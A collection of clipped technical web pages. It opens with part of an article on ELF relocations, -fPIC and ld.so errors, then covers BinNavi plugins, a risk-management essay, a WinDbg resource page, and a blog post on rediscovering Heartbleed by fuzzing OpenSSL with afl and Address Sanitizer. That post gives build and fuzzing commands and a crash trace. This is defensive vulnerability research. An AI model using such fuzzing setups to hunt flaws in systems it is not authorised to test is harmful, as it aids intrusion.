processing the relocation table of `bar`. When it sees `foo` of `bar`, it
calls `RESOLVE_MAP` again, but with r\_type = `R_X86_64_COPY`. This time, the
address returned is the runtime address of `foo` in `libfoo.so`'s `.data`
section. As mentioned earlier, this address holds the initial value of `foo`.
Next it sees `foo` of `bar` has `R_X86_64_COPY` relocation type, so it uses
`memcpy` to copy data to 5009e0 \(see the `Sym. Value` of `.rela.dyn` section
of `bar` above\) from the runtime address of `foo` in `libfoo.so`'s `.data`
section \(see Glibc source file `sysdeps/x86_64/dl-machine.h`\)

The above example also illustrates the difference between `.got` section and
`.got.plt` section. For the runtime linker `ld.so`, all it knows is entries in
`PLTREL` segment, i.e. `.rela.dyn` section, \(which corresponds to `.got`
section\) must be resolved/relocated immediately, while entries in `JMPREL`
segment, i.e. `.rela.plt` section, \(which corresponds to `.got.plt` section\)
can use lazy binding. For x86\_64 architecture, the relocation is actually not
needed for `R_X86_64_JUMP_SLOT` relocation types \(albeit the symbol
resolution is still needed\)

## PIC or no PIC

When building a dynamic library, we are told to **always** compile the code
with `-fPIC` option.

**What's the difference then** ?

Consider the following simple code:

[code]

    #include <stdio.h>
    int bar;
    
    void foo() {
      printf("%d\n",bar);
    }
    
[/code]

Compile the above code in 32-bit mode \(if you try to compile it in 64-bit
mode, GCC will stop and insist you should compile with `-fPIC` option\) with
and without `-fPIC`:

[code]

    $ gcc -shared -m32 foo.c -o nopic.so
    $ gcc -shared -m32 -fPIC foo.c -o pic.so
    
[/code]

The sections and relocation tables of `nopic.so` and `pic.so` are shown at
left and right hand side, respectively:

[code]

    Section Headers:                                                 Section Headers:
    [Nr] Name           Type     Addr                                [Nr] Name              Type     Addr
    [ 0]                NULL     0000                                [ 0]                   NULL     0000
      ...                                                              ...
    [ 8] .init          PROGBITS 02f8                                [ 8] .init             PROGBITS 02f0
    [ 9] .plt           PROGBITS 0310                                [ 9] .plt              PROGBITS 0308
    [10] .text          PROGBITS 0340                                [10] .text             PROGBITS 0350
    [11] .fini          PROGBITS 0488                                [11] .fini             PROGBITS 04a8
    [12] .rodata        PROGBITS 04a4                                [12] .rodata           PROGBITS 04c4
      ...                                                              ...
    [17] .dynamic       DYNAMIC  14c0                                [17] .dynamic          DYNAMIC  14e0
    [18] .got           PROGBITS 1590                                [18] .got              PROGBITS 15a8
    [19] .got.plt       PROGBITS 159c                                [19] .got.plt          PROGBITS 15b8
    [20] .data          PROGBITS 15b0                                [20] .data             PROGBITS 15d0
    
      ...                                                              ...
    
    Relocation section '.rel.dyn' at offset 0x2b0                    Relocation section '.rel.dyn' at offset 0x2b0
    contains 7 entries:                                              contains 5 entries:
     Offset     Info    Type            Sym.Value  Sym. Name         Offset     Info    Type            Sym.Value  Sym. Name
    00000439  00000008 R_386_RELATIVE                                000015d0  00000008 R_386_RELATIVE
    000015b0  00000008 R_386_RELATIVE                                000015a8  00000106 R_386_GLOB_DAT    000015dc   bar
    00000434  00000101 R_386_32          000015bc   bar                     ...
    00000445  00000602 R_386_PC32        00000000   printf
     ...
    
    Relocation section '.rel.plt' at offset 0x2e8:                   Relocation section '.rel.plt' at offset 0x2d8
    contains 2 entries:                                              contains 3 entries:
     Offset     Info    Type            Sym.Value  Sym. Name         Offset     Info    Type            Sym.Value  Sym. Name
    000015a8  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__   000015c4  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
    000015ac  00000a07 R_386_JUMP_SLOT   00000000   __cxa_finalize   000015c8  00000607 R_386_JUMP_SLOT   00000000   printf
                                                                          ...
    
[/code]

When we compile with `-fPIC` we can see the variable `bar` has the right
relocation type \(`R_386_GLOB_DAT`\) and the relocation takes place in the
right section \(`.got`\) The same for `printf`.

Without `-fPIC`, the relocations of the format string "\n", `bar` and `printf`
all take place inside the `.text` section\! But we know `.text` section is in
a Read-Only `LOAD` segment, so what `ld.so` would do ?

As expected, `ld.so` will make `.text` section writeable, patch the bytes, and
make it Read-Only again. Since the relocation of both `bar` and `printf` are
in `.rel.dyn`, their relocations are performed immediately \(no lazy
binding\), so this approach is feasible.

So how does `ld.so` handles `R_386_RELATIVE`, `R_386_32` and `R_386_PC32`
relocation types ? Let's look at the disassembly:

[code]

    0000042c <foo>:
     42c: 55                push   ebp
     42d: 89 e5             mov    ebp,esp
     42f: 83 ec 18          sub    esp,0x18
     432: 8b 15 00 00 00 00 mov    edx,DWORD PTR ds:0x0   <-- reference to bar
     438: b8 a4 04 00 00    mov    eax,0x4a4              <-- reference to "%d\n" format string in .rodata
     43d: 89 54 24 04       mov    DWORD PTR [esp+0x4],edx
     441: 89 04 24          mov    DWORD PTR [esp],eax
     444: e8 fc ff ff ff    call   445 <foo+0x19>  <-- reference to printf
     449: c9                leave
     44a: c3                ret
    
[/code]

How would the 4 bytes starting at 445 \(`R_386_PC32` type\) be patched ?
Suppose at runtime, our `nopic.so` is loaded into memory with base address
8000, and the 4 bytes to be patched are now at 8000 + 445 = 8445. Furthermore,
suppose `ld.so` has determined the entry address of `printf` to be 10000, then
`ld.so` calculates the **relative** offset as follows:

[code]

    10000 - 8445 + fffffffc = 7bb7
    
[/code]

\(fffffffc is -4\) so `ld.so` replaces `fc ff ff ff` with `b7 7b 00 00`

To patch the 4 bytes starting at 434 \(`R_386_32` type\) is simpler. `ld.so`
will simply overwrite the 4 bytes with the runtime **absolute** address of
`bar`.

To patch the 4 bytes starting at 439 \(`R_386_RELATIVE` type\) `ld.so`
calculates the address as

[code]

    10000 + 4a4 = 104a4
    
[/code]

so `ld.so` replaces `a4 04 00 00` with `a4 04 01 00`

Finally, what about the `R_386_RELATIVE` relocation at 15b0 ? 15b0 is the
starting address of `.data` section, and the first 4 bytes of `.data` section
stores its own address, 15b0. So it has to be relocated and patched as
`115b0`.

In conclusion, `R_386_RELATIVE` means "32-bit relative to base address",
`R_386_PC32` means the "32-bit IP-relative offset" and `R_386_32` means the
"32-bit absolute."

## Troubleshooting `ld.so`

### What is "error while loading shared libraries: requires glibc 2.5 or later
dynamic linker" ?

The cause of this error is the dynamic binary \(or one of its dependent shared
libraries\) you want to run only has `.gnu.hash` section, but the `ld.so` on
the target machine is too old to recognize `.gnu.hash`; it only recognizes the
old-school `.hash` section.

This usually happens when the dynamic binary in question is built using newer
version of GCC. The solution is to recompile the code with either `-static`
compiler command-line option \(to create a static binary\), or the following
option:

[code]

    -Wl,--hash-style=both
    
[/code]

This tells the link editor `ld` to create both `.gnu.hash` and `.hash`
sections.

According to `ld` documentation here, the old-school `.hash` section is the
default, but the compiler can override it. For example, the GCC \(which is
version 4.1.2\) on RHEL \(Red Hat Enterprise Linux\) Server release 5.5 has
this line:

[code]

    $ gcc -dumpspecs
    ....
    *link:
    %{!static:--eh-frame-hdr} %{!m32:-m elf_x86_64} %{m32:-m elf_i386} --hash-style=gnu   %{shared:-shared}   ....
    ...
    
[/code]

For more information, see here.

### What is "Floating point exception" ?

The cause of this error is the same as the previous question. On certain
systems, e.g. RHEL, the old version `ld.so` is backported to emit "error while
loading shared libraries: requires glibc 2.5 or later dynamic linker", but
this is not always the case, and you will see this error instead.

### What is ".../libc.so.6: version \`GLIBC\_2.4' not found " ?

As the error message says, some of the symbols need Glibc version 2.4 or
higher. This can also be seen by

[code]

    $ objdump -x foo | grep 'Version References' -A10
    
    Version References:
      required from libc.so.6:
        0x0d696914 0x00 03 GLIBC_2.4
        0x09691a75 0x00 02 GLIBC_2.2.5
    
    ...
    
[/code]

The fix is to recompile the code with `-static` compiler command-line option.

### What is "FATAL: kernel too old" ?

Even if you recompile the code with `-static` compiler command-line option to
avoid any dependency on the dynamic Glibc library, you could still encounter
the error in question, and your code will exit with Segmentation Fault error.

This kernel version check is done by `DL_SYSDEP_OSCHECK` macro in Glibc's
`sysdeps/unix/sysv/linux/dl-osinfo.h` It calls `_dl_discover_osversion` to get
current kernel's version.

To wit, run your code \(suppose it is not stripped\) inside gdb,

[code]

    (gdb) run
    Starting program: foo
    FATAL: kernel too old
    
    Program received signal SIGSEGV, Segmentation fault.
    0x00000000004324a9 in ptmalloc_init ()
    (gdb) call _dl_discover_osversion()
    $1 = 132617
    (gdb) p/x $1
    $2 = 0x20609
    (gdb)
    
[/code]

Here `0x20609` means the current kernel version is 2.6.9.

The fix \(or hack\) is to add the following function in your code:

[code]

    int _dl_discover_osversion() { return 0xffffff; }
    
[/code]

and compile your code with `-static` compiler command-line option.

## Exploring Glibc's `pthread_t`

When one creates a thread using the Pthread API, one will get a `pthread_t`
object as a handle. In Glibc, `pthread_t` is actually a pointer pointing to a
`pthread` struct, which is opaque. Its definition can be found in Glibc's
source tree at `nptl/descr.h`. The first member of `pthread` struct is yet
another struct called `tcbhead_t` defined in system-dependent header files
such as `nptl/sysdeps/x86_64/tls.h`. It holds TLS related information. It
contains at least an integer member called `multiple_threads` which indicates
if the process is running in multi-thread mode.

The second member of `pthread` struct is also a struct called `list_t` defined
in `nptl/sysdeps/pthread/list.h`.

The third and fourth members of `pthread` struct are thread ID and thread
group ID \(both are of `pid_t` type\).

Other members of `pthread` struct which are of interest: `int cancelhandling`
for cancellation information, `int flags` for thread attributes,
`start_routine` for start position of the code to be executed for the thread,
`void *arg` for the argument to `start_routine` `void *stackblock` and `size_t
stackblock_size` for thread-specific stack information.

Since `pthread` struct is opaque, how can one obtain the above information, or
more precisely, how can one obtain the offsets of these members within the
`pthread` struct ? We can use the known information and search for the memory
region pointed by `pthread_t`, as in this code snippet.

# zynamics BinNavi 3.0 Manual - Writing BinNavi Plugins

**Created:**| _7/9/2010 12:20:44 PM_  
---|---  
**Updated:**| _7/9/2010 12:20:44 PM_  
**Author:**| _wishi_  
**Tags:**| _bookmark research_  
  

## Writing BinNavi Plugins

### Overview

One of BinNavi's main features is its extensibility through plugins written in
the Java programming language and other languages. The general idea behind
BinNavi plugins is that each BinNavi plugin implements one or more of the
plugin interfaces provided by the BinNavi plugin API. Depending on what
interfaces a plugin implements, BinNavi gives the plugin access to itself
through a well-defined plugin interface.

### Writing plugins in Java

Java is the preferred programming language for writing plugins in BinNavi.
While plugins written in other languages are not limited in any way by
BinNavi, there might be speed concerns when implementing plugins in a language
like Ruby for example.

To write your own plugins you need to know the following things:

  * Plugin files are placed in the _plugins_ directory of BinNavi or a subdirectory of it
  * Plugin files can be either CLASS files \(simple plugins\) or JAR files \(more complex plugins or plugin collections\)
  * CLASS file plugins only need to implement one or more of the Plugin interfaces. The CLASS file is instantiated when BinNavi starts and if a valid plugin is found, the plugin is loaded and given access to BinNavi.
  * JAR plugin files must define a main class in their manifest file and this main class must implement the IPluginServer interface. The method getPlugins of this PluginServer object returns a list of all plugins that can be found in the JAR file. These plugins are loaded and given access to BinNavi.

To find out what can be done through plugins please consult the Plugin API
section of this manual.

### Writing plugins in scripting languages

In principle, all languages that can be used to write BinNavi scripts can also
be used to write BinNavi plugins. By default this includes Python, Ruby, and
ECMAScript.

To write plugins in any of the supported scripting languages, you need to know
the following things:

  * Script files must have the same extension as regular scripts in your language \(e.g. .py for Jython scripts, .js for JavaScript scripts, and so on\).
  * Scripts that implement BinNavi Plugin interfaces must be stored in _scripts_ subdirectory of BinNavi. These scripts are automatically loaded when BinNavi starts.
  * Each script has access to an object called _navi_ of type PluginInterface. This object gives scripts access to BinNavi. Please consult the section about the Plugin API to find out what you can do with the _navi_ object.

Since accessing Java classes and objects from languages other than Java has
some quirks, BinNavi comes with two small sample scripts written in Python and
Ruby that can be used as the starting point for new plugins written in these
languages. You can find these sample scripts in the _scripts_ subdirectory of
your BinNavi installation.

# Risk Management Theatre: On Show At An Organization Near You | Continuous Delivery
**Created:**| _8/7/2013 6:59:20 AM_  
---|---  
**Updated:**| _8/7/2013 6:59:20 AM_  
**Author:**| __  
**Tags:**| _policies risk-management_  
  

# **R** isk Management Theatre: On Show At An Organization Near You****

One of the concepts that will feature in the new book I am working on  is
“risk management theatre”**.** This is the name I coined for the commonly-
encountered control apparatus, imposed in a top-down way, which makes life
painful for the innocent but can be circumvented by the guilty \(the name
comes by analogy with security theatre **.**\) Risk management theatre is the
outcome of optimizing processes for the case that somebody will do something
stupid or bad, because \(to quote Bjarte Bogsnes talking about management \),
“there might be someone who who cannot be trusted**.** The strategy seems to
be preventative control on everybody instead of damage control on those
few**.** ”

Unfortunately risk management theatre is everywhere in large organizations,
and reflects the continuing dominance of the Theory X  management
paradigm**.** The alternative to the top-down control approach is what I have
called adaptive risk management, informed by human-centred management theories
\(for example the work of Ohno , Deming , Drucker, Denning  and Dweck \) and
the study of how complex systems behave, particularly when they drift into
failure **.** Adaptive risk management is based on systems thinking,
transparency, experimentation, and fast feedback loops**.**

Here are some examples of the differences between the two approaches**.**

**Adaptive risk management** \(people work to detect problems through
improving transparency and feedback, and solve them through improvisation and
experimentation\)| **Risk management theatre** \(management imposes controls
and processes which make life painful for the innocent but can be circumvented
by the guilty\)  
---|---  
**Continuous code review** in which engineers ask a colleague to look over
their changes before check-in, technical leads review all check-ins made by
their team, and code review tools allow people to comment on each others’ work
once it is in trunk**.**| **Mandatory code review** enforced by check-in gates
where a tool requires changes to be signed off by somebody else before they
can be merged into trunk**.** This is inefficient and delays feedback on non-
trivial regressions \(including performance regressions\)**.**  
**Fast, automated unit and acceptance tests** which inform engineers within
minutes \(for unit tests\) or tens of minutes \(for acceptance tests\) if they
have introduced a known regression into trunk, and which can be run on
workstations before commit**.**| **Manual testing** as a precondition for
integration, especially when performed by a different team or in a different
location**.** Like mandatory code review, this delays feedback on the effect
of the change on the system as a whole**.**  
**Adeployment pipeline ** which provides complete traceability of all changes
from check-in to release, and which detects and rejects risky changes
automatically through a combination of automated tests and manual
validations**.**| **A comprehensive documentation trail** so that in the event
of a failure we can discover the human error that is the root cause of
failures in the mechanistic, Cartesian paradigm that applies in the domain of
systems that are not complex **.**  
**Situational awareness** created through tools which make it easy to monitor,
analyze and correlate relevant data**.** This includes process, business and
systems level metrics as well as the discussion threads around events**.**|
**Segregation of duties** which acts as a barrier to knowledge sharing,
feedback and collaboration, and reduces the situational awareness which is
essential to an effective response in the event of an incident**.**  
It’s important to emphasize that there are circumstances in which the
countermeasures on the right are appropriate**.** If your delivery and
operational processes are chaotic and undisciplined, imposing controls can be
an effective way to improve – so long as we understand they are a temporary
countermeasure rather than an end in themselves, and provided they are applied
with the consent of the people who must work within them**.**

Here are some differences between the two approaches in the field of IT:

Adaptive risk management \(people work to detect problems through improving
transparency and feedback, and solve them through improvisation and
experimentation\)| Risk management theatre \(management imposes controls and
processes which make life painful for the innocent but can be circumvented by
the guilty\)  
---|---  
**Principle-based and dynamic:** principles can be applied to situations that
were not envisaged when the principles were created**.**| **Rule-based and
static** : when we encounter new technologies and processes \(for example,
cloud computing\) we need to rewrite the rules**.**  
**Uses transparency to prevent accidents and bad behaviour**.**** When it’s
easy for anybody to see what anybody else is doing, people are more
careful**.** As Louis Brandeis said, “Publicity is justly commended as a
remedy for social and industrial diseases**.** Sunlight is said to be the best
of disinfectants; electric light the most efficient policeman**.** ”| **Uses
controls to prevent accidents and bad behaviour**.**** This approach is the
default for legislators as a way to prove they have taken action in response
to a disaster**.** But controls limit our ability to adapt quickly to
unexpected problems. This introduces a new class of risks, for example over-
reliance on emergency change processes because the standard change process is
too slow and bureaucratic**.**  
**Accepts that systems drift into failure**.**** Our systems and the
environment are constantly changing, and there will never be sufficient
information to make globally rational decisions**.** Humans solve our problems
and we must rely on them to make judgement calls**.**| **Assumes humans are
the problem**.**** If people always follow the processes correctly, nothing
bad can happen**.** Controls are put in place to manage “bad apples”**.**
Ignores the fact that process specifications always require interpretation and
adaptation in reality**.**  
**Rewards people for collaboration, experimentation, and system-level
improvements**.**** People collaborate to improve system-level metrics such as
lead time and time to restore service**.** No rewards for “productivity” on
individual or function level**.** Accepts that locally rational decisions can
lead to system level failures**.**| **Rewards people based on personal
“productivity” and local optimization****.** For example operations people
optimizing for stability at the expense of throughput, or developers
optimizing for velocity at the expense of quality \(even though these are
false dichotomies**.**\)  
**Creates a culture of continuous learning and experimentation** : People
openly discuss mistakes to learn from them and conduct post-mortems  after
outages or customer service problems with the goal of improving the
system**.** People are encouraged to try things out and experiment \(with the
expectations that many hypotheses will be invalidated\) in order to get
better**.**| **Creates a culture of fear and mistrust****.** Encourages finger
pointing and lack of ownership for errors, omissions and failure to get things
done**.** As in: If I don’t do anything unless someone tells me to, I won’t be
held responsible for any resulting failure**.**  
**Failures are a learning opportunity****.** They occur in controlled
circumstances, their effects are appropriately mitigated, and they are
encouraged as an opportunity to learn how to improve**.**| **Failures are
caused by human error** \(usually a failure to follow some process
correctly\), and the primary response is to find the person responsible and
punish them, and then use further controls and processes as the main strategy
to prevent future problems.  
Risk management theatre is not just painful and a barrier to the adoption of
continuous delivery \(and indeed to continuous improvement in general\)**.**
It is actually dangerous, primarily because it creates a culture of fear and
mistrust**.** As Bogsnes says, “if the entire management model reeks of
mistrust and control mechanisms against unwanted behavior, the result might
actually be more, not less, of what we try to prevent**.** The more people are
treated as criminals, the more we risk that they will behave as such**.** ”

This kind of organizational culture is a major factor whenever we see people
who are scared of losing their jobs, or engage in activities designed to
protect themselves in the case that something goes wrong, or attempt to make
themselves indispensable through hoarding information**.**

I’m certainly not suggesting that controls, IT governance frameworks, and
oversight are bad in and of themselves**.** Indeed, applied correctly, they
are essential for effective risk management**.** ITIL for example allows for a
lightweight change management  process that is completely compatible with an
adaptive approach to risk management**.** What’s decisive is how these
framework are implemented**.** The way such frameworks are used and applied is
determined by—and perpetuates—organizational culture **.**

****

# Welcome to WinDbg.info

**Created:**| _7/20/2010 8:14:31 AM_  
---|---  
**Updated:**| _7/20/2010 8:14:48 AM_  
**Author:**| __  
**Tags:**| _bookmark Debugging reversing windbg awesome_  
  

Welcome to WinDbg.info

| CrashMe Application  
---  
Tuesday, 20 October 2009 08:44 | Last Updated on Tuesday, 20 October 2009 13:08   
---|---  
Written by Robert Kuster  
CrashMe is a simple application that implements several common debug
situations and scenarios. As such it is a great help for both; your first
steps with WinDbg or if you ever need to reproduce a particular crash within a
test environment. Take a look at the screen-shot bellow or simply download it
to get a hint of what we are talking about. <img src='img/Temp2_9420.png'
width='611px' height='368px' alt='CrashMe screen-shot' />Note: If you have an
interesting situation that CrashMe doesn't cover please drop us a line or send
us your code. Other CrashMe fans might be thankful for your contribution. Read
moreAdd Comment \(2\)Hits: 3252  
WinDbg. From A to Z\!  
---  
Sunday, 01 February 2009 01:00 | Last Updated on Tuesday, 20 October 2009 12:32   
---|---  
Written by Robert Kuster  
**Foreword byWanderley Caloni**All the power and flexibility of the Microsoft
Debugging Tools package can be diminished by its complexity and learning
curve. After all, it is very easy and comfortable to work with the Visual
Studio debugger once you begin to use it. Those who advocate the use of a
unified tool that does everything, like a cell phone, make the case even
worse. However, when the competitive advantage of one tool over another is
obvious, there is nothing worse than getting stuck in a situation which is
suboptimal for you. As I was thinking about this difficulty I found a
presentation written by Robert Kuster that explains all the important details
of debugging with WinDbg for novice and experienced programmers. The
presentation "WinDbg. From A to Z\!" turns out to be just as useful as WinDbg
itself because it explains everything from simple things that you should know
right away such as setting up symbols and the theory of command types in
WinDbg, to the advanced topics such as remote debugging.  
  
The subject covers a set of 111 slides that take one or two hours of careful
reading if you do not make tests during the trip. Among the things I have read
and reread I found a list of important topics that you should try to keep in
mind:

  * The libraries of WinDbg's debug engine \(slides 6 and 9\)
  * The debug symbols and how they are found by WinDbg \(11, 12, 14\)
  * Exception handling by the OS and how to debug exceptions \(18, 19, 85\)
  * How to configure your debugger to operate system-wide \(20\)
  * Types of commands in WinDbg \(22\)
  * Configuring symbols and sources in WinDbg \(24, 25\)
  * WinDbg window options \(33\)
  * DML: Debugger Markup Language \(35\)
  * Processes and threads on Windows \(26, 27, 29\)
  * Commands on threads and locks \(31, 55\)
  * Memory: Stack details \(37, 39, 41\)
  * Memory: General commands \(43\)
  * Memory: Heap commands and examples \(45, 49, 51, 53\)
  * Useful commands for strings and memory manipulation \(66\)
  * Evaluating expressions in WinDbg: MASM and C ++ \(70, 71\)
  * Breakpoints in WinDbg \(basic\) \(81\)
  * Breakpoints in WinDbg \(advanced\) \(83, 84\)
  * Remote Debugging \(very useful\!\) \(87\)
  * Choosing the best tool for the problem \(great\!\) \(108\)

In the end there are two important tips for those who wish to explore the
debugging world in more detail: read WinDbg's documentation \(which is also
great, although much more extensive\) and learn assembly \(simply essential if
you want to solve a variety of problems\). If you never took the time for
advanced debugging on Windows think about it again. It could take you 2 hours
\(divide this into 15 minute periods per day\!\) to read this great tutorial.
As a result you might surprisingly end up with an exponentially reduced
troubleshooting time for your debug situations.

# How Heartbleed could've been found - Hanno's blog

**Created:**| _4/7/2015 9:15:56 PM_  
---|---  
**Updated:**| _4/7/2015 9:15:56 PM_  
**Author:**| __  
**Tags:**| _ssl_  
  
  

### Tuesday, April 7. 2015

#### How Heartbleed could've been found

<img src='img/Temp2_4008.png' width='248' height='300' alt='Heartbleed'
/>_**tl;dr** With a reasonably simple fuzzing setup I was able to rediscover
the Heartbleed bug. This uses state-of-the-art fuzzing and memory protection
technology \(american fuzzy lop and Address Sanitizer\), but it doesn't
require any prior knowledge about specifics of the Heartbleed bug or the TLS
Heartbeat extension. We can learn from this to find similar bugs in the
future._<img src='img/4ecf58cf1b114e5aa0c61ba05db22077.gif' width='1'
height='1' />  
  
Exactly one year ago a bug in the OpenSSL library became public that is one of
the most well-known security bug of all time: Heartbleed. It is a bug in the
code of a TLS extension that up until then was rarely known by anybody. A read
buffer overflow allowed an attacker to extract parts of the memory of every
server using OpenSSL.  
  
**Can we find Heartbleed with fuzzing?**  
  
Heartbleed was introduced in OpenSSL 1.0.1, which was released in March 2012,
two years earlier. Many people wondered how it could've been hidden there for
so long. David A. Wheeler wrote an essay discussing how fuzzing and memory
protection technologies could've detected Heartbleed. It covers many aspects
in detail, but in the end he only offers speculation on whether or not fuzzing
would have found Heartbleed. So I wanted to try it out.  
  
Of course it is easy to find a bug if you know what you're looking for. As
best as reasonably possible I tried not to use any specific information I had
about Heartbleed. I created a setup that's reasonably simple and similar to
what someone would also try it without knowing anything about the specifics of
Heartbleed.  
  
Heartbleed is a read buffer overflow. What that means is that an application
is reading outside the boundaries of a buffer. For example, imagine an
application has a space in memory that's 10 bytes long. If the software tries
to read 20 bytes from that buffer, you have a read buffer overflow. It will
read whatever is in the memory located after the 10 bytes. These bugs are
fairly common and the basic concept of exploiting buffer overflows is pretty
old. Just to give you an idea how old: Recently the Chaos Computer Club
celebrated the 30th anniversary of a hack of the German BtX-System, an early
online service. They used a buffer overflow that was in many aspects very
similar to the Heartbleed bug. \(It is actually disputed if this is really
what happened, but it seems reasonably plausible to me.\)  
  
Fuzzing is a widely used strategy to find security issues and bugs in
software. The basic idea is simple: Give the software lots of inputs with
small errors and see what happens. If the software crashes you likely found a
bug.  
  
When buffer overflows happen an application doesn't always crash. Often it
will just read \(or write if it is a write overflow\) to the memory that
happens to be there. Whether it crashes depends on a lot of circumstances.
Most of the time read overflows won't crash your application. That's also the
case with Heartbleed. There are a couple of technologies that improve the
detection of memory access errors like buffer overflows. An old and well-known
one is the debugging tool Valgrind. However Valgrind slows down applications a
lot \(around 20 times slower\), so it is not really well suited for fuzzing,
where you want to run an application millions of times on different inputs.  
  
**Address Sanitizer finds more bug**  
  
A better tool for our purpose is Address Sanitizer. David A. Wheeler calls it
“nothing short of amazing”, and I want to reiterate that. I think it should be
a tool that every C/C++ software developer should know and should use for
testing.  
  
Address Sanitizer is part of the C compiler and has been included into the two
most common compilers in the free software world, gcc and llvm. To use Address
Sanitizer one has to recompile the software with the command line parameter
_-fsanitize=address_. It slows down applications, but only by a relatively
small amount. According to their own numbers an application using Address
Sanitizer is around 1.8 times slower. This makes it feasible for fuzzing
tasks.  
  
For the fuzzing itself a tool that recently gained a lot of popularity is
american fuzzy lop \(afl\). This was developed by Michal Zalewski from the
Google security team, who is also known by his nick name lcamtuf. As far as
I'm aware the approach of afl is unique. It adds instructions to an
application during the compilation that allow the fuzzer to detect new code
paths while running the fuzzing tasks. If a new interesting code path is found
then the sample that created this code path is used as the starting point for
further fuzzing.  
  
Currently afl only uses file inputs and cannot directly fuzz network input.
OpenSSL has a command line tool that allows all kinds of file inputs, so you
can use it for example to fuzz the certificate parser. But this approach does
not allow us to directly fuzz the TLS connection, because that only happens on
the network layer. By fuzzing various file inputs I recently found two issues
in OpenSSL, but both had been found by Brian Carpenter before, who at the same
time was also fuzzing OpenSSL.  
  
**Let OpenSSL talk to itself**  
  
So to fuzz the TLS network connection I had to create a workaround. I wrote a
small application that creates two instances of OpenSSL that talk to each
other. This application doesn't do any real networking, it is just passing
buffers back and forth and thus doing a TLS handshake between a server and a
client. Each message packet is written down to a file. It will result in six
files, but the last two are just empty, because at that point the handshake is
finished and no more data is transmitted. So we have four files that contain
actual data from a TLS handshake. If you want to dig into this, a good
description of a TLS handshake is provided by the developers of OCaml-TLS and
MirageOS.  
  
Then I added the possibility of switching out parts of the handshake messages
by files I pass on the command line. By calling my test application selftls
with a number and a filename a handshake message gets replaced by this file.
So to test just the first part of the server handshake I'd call the test
application, take the output file packed-1 and pass it back again to the
application by running selftls 1 packet-1. Now we have all the pieces we need
to use american fuzzy lop and fuzz the TLS handshake.  
  
I compiled OpenSSL 1.0.1f, the last version that was vulnerable to Heartbleed,
with american fuzzy lop. This can be done by calling ./config and then
replacing gcc in the Makefile with afl-gcc. Also we want to use Address
Sanitizer, to do so we have to set the environment variable AFL\_USE\_ASAN to
1.  
  
There are some issues when using Address Sanitizer with american fuzzy lop.
Address Sanitizer needs a lot of virtual memory \(many Terabytes\). American
fuzzy lop limits the amount of memory an application may use. It is not
trivially possible to only limit the real amount of memory an application uses
and not the virtual amount, therefore american fuzzy lop cannot handle this
flawlessly. Different solutions for this problem have been proposed and are
currently developed. I usually go with the simplest solution: I just disable
the memory limit of afl \(parameter -m -1\). This poses a small risk: A fuzzed
input may lead an application to a state where it will use all available
memory and thereby will cause other applications on the same system to
malfuction. Based on my experience this is very rare, so I usually just ignore
that potential problem.  
  
After having compiled OpenSSL 1.0.1f we have two files libssl.a and
libcrypto.a. These are static versions of OpenSSL and we will use them for our
test application. We now also use the afl-gcc to compile our test application:  
  
`AFL_USE_ASAN=1 afl-gcc selftls.c -o selftls libssl.a libcrypto.a -ldl`  
  
Now we run the application. It needs a dummy certificate. I have put one in
the repo. To make things faster I'm using a 512 bit RSA key. This is
completely insecure, but as we don't want any security here – we just want to
find bugs – this is fine, because a smaller key makes things faster. However
if you want to try fuzzing the latest OpenSSL development code you need to
create a larger key, because it'll refuse to accept such small keys.  
  
The application will give us six packet files, however the last two will be
empty. We only want to fuzz the very first step of the handshake, so we're
interested in the first packet. We will create an input directory for american
fuzzy lop called in and place packet-1 in it. Then we can run our fuzzing job:  
  
`afl-fuzz -i in -o out -m -1 -t 5000 ./selftls 1 @@`  
  
<img src='img/Temp2_4009.png' width='810' height='472' alt='american fuzzy lop
screenshot' />  
  
We pass the input and output directory, disable the memory limit and increase
the timeout value, because TLS handshakes are slower than common fuzzing
tasks. On my test machine around 6 hours later afl found the first crash. Now
we can manually pass our output to the test application and will get a stack
trace by Address Sanitizer:  
  
`==2268==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x629000013748 at pc 0x7f228f5f0cfa bp 0x7fffe8dbd590 sp 0x7fffe8dbcd38  
READ of size 32768 at 0x629000013748 thread T0  
#0 0x7f228f5f0cf9 (/usr/lib/gcc/x86_64-pc-linux-
gnu/4.9.2/libasan.so.1+0x2fcf9)  
#1 0x43d075 in memcpy /usr/include/bits/string3.h:51  
#2 0x43d075 in tls1_process_heartbeat /home/hanno/code/openssl-
fuzz/tests/openssl-1.0.1f/ssl/t1_lib.c:2586  
#3 0x50e498 in ssl3_read_bytes /home/hanno/code/openssl-
fuzz/tests/openssl-1.0.1f/ssl/s3_pkt.c:1092  
#4 0x51895c in ssl3_get_message /home/hanno/code/openssl-
fuzz/tests/openssl-1.0.1f/ssl/s3_both.c:457  
#5 0x4ad90b in ssl3_get_client_hello /home/hanno/code/openssl-
fuzz/tests/openssl-1.0.1f/ssl/s3_srvr.c:941  
#6 0x4c831a in ssl3_accept /home/hanno/code/openssl-
fuzz/tests/openssl-1.0.1f/ssl/s3_srvr.c:357  
#7 0x412431 in main /home/hanno/code/openssl-
fuzz/tests/openssl-1.0.1f/selfs.c:85  
#8 0x7f228f03ff9f in __libc_start_main (/lib64/libc.so.6+0x1ff9f)  
#9 0x4252a1 (/data/openssl/openssl-handshake/openssl-1.0.1f-nobreakrng-afl-
asan-fuzz/selfs+0x4252a1)  
  
0x629000013748 is located 0 bytes to the right of 17736-byte region
[0x62900000f200,0x629000013748)  
allocated by thread T0 here:  
#0 0x7f228f6186f7 in malloc (/usr/lib/gcc/x86_64-pc-linux-
gnu/4.9.2/libasan.so.1+0x576f7)  
#1 0x57f026 in CRYPTO_malloc /home/hanno/code/openssl-
fuzz/tests/openssl-1.0.1f/crypto/mem.c:308`  
  
We can see here that the crash is a heap buffer overflow doing an invalid read
access of around 32 Kilobytes in the function tls1\_process\_heartbeat\(\). It
is the Heartbleed bug. We found it.  
  
I want to mention a couple of things that I found out while trying this. I did
some things that I thought were necessary, but later it turned out that they
weren't. After Heartbleed broke the news a number of reports stated that
Heartbleed was partly the fault of OpenSSL's memory management. A mail by Theo
De Raadt claiming that OpenSSL has “exploit mitigation countermeasures” was
widely quoted. I was aware of that, so I first tried to compile OpenSSL
without its own memory management. That can be done by calling ./config with
the option no-buf-freelist.  
  
But it turns out although OpenSSL uses its own memory management that doesn't
defeat Address Sanitizer. I could replicate my fuzzing finding with OpenSSL
compiled with its default options. Although it does its own allocation
management, it will still do a call to the system's normal malloc\(\) function
